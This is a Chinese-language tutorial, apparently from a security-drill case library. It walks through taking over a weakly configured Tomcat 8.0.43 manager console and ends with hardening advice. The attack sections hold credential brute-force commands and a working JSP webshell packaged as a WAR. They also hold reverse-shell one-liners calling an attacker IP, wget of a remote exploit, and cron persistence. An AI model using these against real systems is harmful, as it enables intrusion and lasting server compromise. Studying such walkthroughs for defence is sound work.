
1. 项目概述一次典型的Tomcat管理后台渗透实战最近在整理内部安全演练的案例库翻到了一个挺有代表性的老漏洞利用链核心是围绕Tomcat 8.0.43版本的管理后台展开的。这个案例之所以经典是因为它完整地串联了从信息收集、弱口令爆破、权限获取到最终后门植入的整个攻击路径非常直观地展示了“千里之堤溃于蚁穴”的道理。很多开发团队在部署Tomcat时往往只关注应用能否跑起来却忽略了最基本的安全配置比如默认开启且未修改密码的管理后台Manager App和Host Manager这就给攻击者留下了可乘之机。这个实战过程不仅适用于安全测试人员理解攻击手法更能给运维和开发同学敲响警钟看看自己的线上环境是否存在同样的安全隐患。简单来说这个实战模拟了攻击者如何利用一个未做任何加固的Tomcat 8.0.43实例通过常见的弱口令字典成功登录管理后台然后利用后台提供的应用部署功能上传一个包含后门的WAR包从而在服务器上获得一个Webshell进而执行任意命令、控制服务器。整个过程用到的工具都很常见思路也很直接但破坏力却不容小觑。接下来我会把整个过程的思路、操作细节、遇到的坑以及如何防御掰开揉碎了讲清楚。2. 环境搭建与目标信息收集实战的第一步永远是搞清楚目标是什么。我们假设目标是一个对外暴露了8080端口的Tomcat服务器。在真实环境中这可能源于一次不经意的端口扫描或者是从某些网络空间测绘引擎如FOFA、Shodan上通过特征搜索到的结果。2.1 目标Tomcat环境确认首先我们需要确认目标运行的是Tomcat并且版本是存在弱口令风险的8.0.43当然其他未正确配置的版本同样脆弱。最直接的方式就是访问其默认的Web页面。# 使用curl简单探测 curl -I http://target_ip:8080如果返回的HTTP头中包含了Server: Apache-Coyote/1.1或直接在HTML页面中看到Tomcat的欢迎页基本就能确定。更精确的版本信息有时会藏在页面底部或错误信息里。访问http://target_ip:8080/manager/html或http://target_ip:8080/host-manager/html如果弹出认证框那就说明管理后台是开启的这正是我们寻找的入口点。注意许多管理员会修改默认的8080端口或者将Tomcat放在Nginx/Apache等反向代理之后。这时就需要更全面的端口扫描和服务识别。使用Nmap进行扫描是不错的选择nmap -sV -p 1-65535 target_ip重点关注开放了HTTP服务的端口。2.2 弱口令字典的准备与选用面对一个需要认证的管理后台暴力破解是常见手段。其成功率高度依赖于字典的质量。你不能用一个通用的“admin/123456”去碰运气而应该使用更有针对性的字典。Tomcat默认凭证这是第一优先级。Tomcat在tomcat-users.xml文件中定义角色和用户。虽然安装后默认是注释掉的但很多懒人配置或网上搜来的教程会直接使用这些默认或简单的组合。常见的默认尝试包括tomcat/tomcatadmin/adminmanager/managerrole1/tomcatboth/tomcat(同时具有manager-gui和admin-gui角色)通用弱口令字典包含top100、top1000的常见密码如123456,password,12345678,qwerty等。定制化字典如果目标有特定属性可以生成定制字典。例如如果知道公司名是“ABC”可以尝试abc123,abc2023,Abc#123等组合。工具如crunch或cewl爬取网站生成字典可以用于此目的。我个人习惯将这几个字典合并、去重形成一个专用于Tomcat爆破的字典文件比如tomcat_weak.txt。在实战中一个精心准备的字典往往能事半功倍。3. 核心攻击链从爆破到后台登录有了目标和字典接下来就是实施爆破。这里我们不讨论那些法律边界模糊的“超级工具”而是用最经典、最透明的Burp Suite Intruder模块来演示原理同时也会提及其他高效工具的思路。3.1 使用Burp Suite进行手动静默爆破Burp Suite的Intruder模块功能强大适合学习和精细控制攻击过程。拦截登录请求首先用浏览器访问http://target_ip:8080/manager/html会弹出一个HTTP Basic认证的对话框。输入任意用户名密码比如test/test点击登录。此时用Burp Suite的Proxy模块拦截这个请求。发送到Intruder将拦截到的请求右键发送到Intruder模块。设置攻击位置在Intruder的Positions标签页清除所有自动标记然后手动选中认证头Authorization: Basic dGVzdDp0ZXN0中的dGVzdDp0ZXN0部分这是test:test的Base64编码。这里就是我们放置爆破载荷的位置。配置载荷在Payloads标签页选择Payload类型为Custom iterator有时更方便但更直接的是使用Simple list然后加载我们准备好的tomcat_weak.txt字典。关键点在于字典里的内容应该是username:password的格式而不是单独的密码。因为HTTP Basic认证是将“用户名:密码”整体进行Base64编码的。如果你的字典是分开的用户名和密码需要在Burp里配置两个Payload集并使用Cluster bomb攻击类型来组合。设置Payload Processing由于我们需要发送的是Base64编码后的字符串所以必须添加一个Encode规则选择Base64-encode。这是很多新手会忽略导致爆破失败的关键一步。开始攻击与结果判断开始攻击后Intruder会使用字典中的每个user:pass组合编码后替换请求中的对应部分并发起请求。我们需要关注响应状态码Status和响应长度Length。对于Tomcat管理后台认证失败通常返回401 Unauthorized并且响应体固定。而认证成功则会返回200 OK并且页面内容是管理后台的HTML其长度与401响应截然不同。因此在结果列表中通过排序“Status”或“Length”很容易找出那个与众不同的成功请求从中即可提取出正确的用户名和密码需要将Payload进行Base64解码。实操心得Burp Suite Intruder的“Grep - Extract”功能可以帮大忙。你可以先手动用一个错误密码登录从401响应的HTML中提取一段特征字符串如“未授权”。然后在Intruder的Options标签页设置Grep - Extract添加这个特征。在攻击结果中如果某个响应的提取结果里没有这个特征字符串那很可能就是成功了。这比单纯看长度更可靠因为有时页面微小变动可能导致长度变化。3.2 高效工具辅助Hydra与Medusa对于需要快速批量测试的场景命令行工具更高效。Hydra和Medusa都是优秀的网络登录破解工具。# 使用Hydra对Tomcat进行HTTP Basic认证爆破 # -l 指定单个用户名-L 指定用户名字典 # -p 指定单个密码-P 指定密码字典 # http-get 指定协议和方法最后是目标URL hydra -L user_list.txt -P pass_list.txt target_ip http-get /manager/html # 更常用的方式是同时爆破用户名和密码使用“-C”参数指定“用户名:密码”格式的字典文件 hydra -C tomcat_weak.txt target_ip http-get /manager/html # 使用Medusa语法类似 medusa -h target_ip -u admin -P pass_list.txt -M http -m DIR:/manager/html这些工具速度非常快但需要注意网络稳定性并合理设置线程数-t参数避免把目标打挂或触发防护规则。4. 权限利用后门WAR包的制作与上传成功登录/manager/html后台后我们就进入了“战利品陈列室”。这里最吸引人的功能就是“WAR file to deploy”。我们可以上传一个WAR归档文件Tomcat会自动将其解压部署为一个Web应用。4.1 制作Webshell WAR包Webshell就是一个可以执行服务器命令的JSP文件。我们需要把它打包成WAR格式。编写JSP Webshell创建一个最简单的JSP文件比如cmd.jsp内容如下。这个脚本通过Runtime.getRuntime().exec()执行请求参数cmd传来的命令。% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % form methodget input typetext namecmd size50 input typesubmit valueExecute /form打包成WARWAR包其实就是个ZIP格式的压缩包里面需要符合一定的目录结构。最简单的方式# 创建一个临时目录 mkdir shellapp cd shellapp # 将jsp文件放在WEB-INF目录外直接放在根目录或自己建个子目录都行能通过URL访问到即可 # 这里我们直接放在根目录 cp /path/to/cmd.jsp ./ # 打包成WAR (注意不需要有WEB-INF目录Tomcat也能识别并部署但规范起见可以加一个空的) mkdir -p WEB-INF touch WEB-INF/web.xml # 可以是一个极简的web.xml甚至空文件 jar -cvf ../shell.war ./*现在你就得到了一个shell.war文件。注意事项这种最基础的JSP Webshell容易被杀毒软件或Web应用防火墙WAF检测到。在实战中可能会需要进行混淆、编码或使用更隐蔽的内存马技术。例如将命令执行代码隐藏在图片中或者使用Java反射、自定义类加载器等技术动态加载恶意字节码以绕过静态检测。但对于理解原理和测试未防护的环境这个简单的版本足够了。4.2 通过管理后台上传并部署回到Tomcat管理后台找到“WAR file to deploy”区域。点击“浏览”或“选择文件”按钮选中我们刚生成的shell.war。点击“Deploy”按钮。如果一切顺利页面会刷新并在应用列表Applications中看到你刚上传的应用通常以其WAR包名shell作为上下文路径Context Path。现在访问http://target_ip:8080/shell/cmd.jsp你应该能看到一个简单的输入框。在输入框里输入系统命令例如whoami或id点击执行服务器返回的结果就会显示在页面上。至此你已经成功在目标服务器上植入了一个Webshell获得了命令执行权限。5. 权限提升与后渗透操作获得一个Webshell通常只是开始它的权限可能受限例如以tomcat用户运行。我们需要进行信息收集和可能的权限提升。5.1 信息收集在Webshell中执行一些基础命令了解服务器环境# 查看当前用户 whoami id # 查看系统信息 uname -a cat /etc/issue # 查看网络信息 ifconfig 或 ip addr netstat -antp # 查看进程 ps aux # 查看Tomcat安装路径、配置文件 ps aux | grep tomcat find / -name \tomcat-users.xml\ 2/dev/null # 查看是否有其他敏感文件或数据库连接信息 find /home /opt /var -name \*.properties\ -o -name \*.yml\ -o -name \*.xml\ 2/dev/null | head -205.2 尝试权限提升如果当前用户是tomcat可以尝试以下方法提权查找SUID文件查找具有SUID权限的可执行文件其中一些可能有已知的本地提权漏洞。find / -perm -4000 -type f 2/dev/null查看sudo权限检查当前用户能否以root身份运行某些命令。sudo -l利用内核漏洞上传并运行像LinEnum、linux-exploit-suggester这样的脚本检查系统是否存在已知的内核漏洞。然后寻找对应的本地提权EXP进行编译和运行。# 在本地下载exp通过webshell上传 # 例如使用wget从攻击机下载 cd /tmp wget http://your_attack_ip/exploit.c gcc exploit.c -o exploit ./exploit注意编译需要目标服务器上有gcc如果没有可能需要交叉编译后上传二进制文件。5.3 植入持久化后门为了防止Webshell被管理员发现并删除需要建立持久化访问。反向Shell在Webshell中执行命令反弹一个shell到你的监听服务器。# 在攻击机上用nc监听 nc -lvnp 4444 # 在Webshell中执行根据目标环境选择 bash -c bash -i /dev/tcp/your_attack_ip/4444 01 # 或者使用python/perl等 python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((your_attack_ip,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);创建计划任务Cron添加一个定时任务定期连接你的服务器。# 编辑当前用户的crontab (crontab -l 2/dev/null; echo \*/5 * * * * /bin/bash -c bash -i /dev/tcp/your_attack_ip/5555 01\) | crontab -添加SSH密钥如果允许将你的公钥写入~/.ssh/authorized_keys文件实现免密SSH登录。6. 漏洞根源分析与安全加固建议整个攻击链能够成功根本原因在于松懈的安全配置。下面我们来逐一分析并给出加固方案。6.1 漏洞成因深度剖析管理后台暴露于公网这是最严重的错误。Tomcat的Manager和Host Manager应用设计初衷是用于开发、测试环境的部署和管理绝不应该在生产环境中对外网开放。使用弱口令或默认口令即使后台不得不对内网开放使用弱口令或网上泛滥的默认配置等同于不设防。未启用访问控制列表ACL或网络层过滤没有限制特定IP段才能访问管理后台。Tomcat版本可能过旧虽然8.0.43本身不一定有严重的RCE漏洞但旧版本可能包含其他已知漏洞攻击者可以利用Webshell进一步利用。应用程序部署功能滥用管理后台的“deploy”功能权限过高允许上传任意WAR包并自动执行。6.2 全面加固方案1. 禁用或严格限制管理后台访问最佳实践生产环境彻底删除或禁用Manager和Host Manager应用。在conf/Catalina/localhost/目录下删除manager.xml和host-manager.xml或者直接移除webapps目录下的manager和host-manager文件夹。如果必须使用修改默认路径在server.xml中修改Context的路径使其不易被猜解。强密码策略在tomcat-users.xml中配置复杂密码并遵循最小权限原则只赋予必要的角色如manager-gui用于查看manager-script用于API部署。IP白名单在context.xml位于manager/META-INF/下中配置Valve限制访问IP。Context antiResourceLockingfalse privilegedtrue Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow192.168.1.0/24|127.0.0.1 / !-- 只允许特定IP段 -- /Context使用防火墙策略在服务器防火墙或安全组上只允许特定的管理IP访问Tomcat的管理端口。2. 升级与补丁管理定期升级Tomcat到最新稳定版本及时修复已知安全漏洞。关注Apache Tomcat官方安全公告。3. 运行权限降级绝对不要以root用户运行Tomcat。创建一个专用的、低权限的系统用户如tomcat来运行Tomcat服务。这能有效遏制攻击者通过Tomcat漏洞或Webshell进行提权。# 创建用户和组 groupadd tomcat useradd -s /bin/false -g tomcat -d /opt/tomcat tomcat # 更改Tomcat目录所有权 chown -R tomcat:tomcat /opt/tomcat # 使用该用户启动 sudo -u tomcat /opt/tomcat/bin/startup.sh4. 文件系统权限控制严格控制Tomcat目录的写权限。webapps目录通常只需要Tomcat用户有读和执行权限不需要写权限。可以将应用以WAR包形式放在webapps目录让其自动解压或者更好的方式是在server.xml中配置docBase指向一个只读目录。5. 部署安全防护设备在Tomcat前部署WAFWeb应用防火墙可以有效拦截针对管理后台的暴力破解、恶意请求以及Webshell的上传和访问。部署主机安全Agent或HIDS主机入侵检测系统监控异常进程、文件创建和网络连接能及时发现Webshell等入侵行为。6. 定期安全审计与演练定期对Tomcat配置进行安全审查检查是否有不必要的应用、服务暴露。使用漏洞扫描工具对自身服务进行扫描主动发现弱口令、已知漏洞等问题。进行红蓝对抗演练模拟攻击者的手法来检验自身防御体系的有效性。这个从Tomcat弱口令到后门植入的实战案例清晰地展示了一个微小配置疏忽如何导致整个系统沦陷。安全是一个整体任何一环的薄弱都可能成为突破口。对于运维和开发人员而言理解攻击者的思路和手法不是为了实施攻击而是为了能更好地构建防御。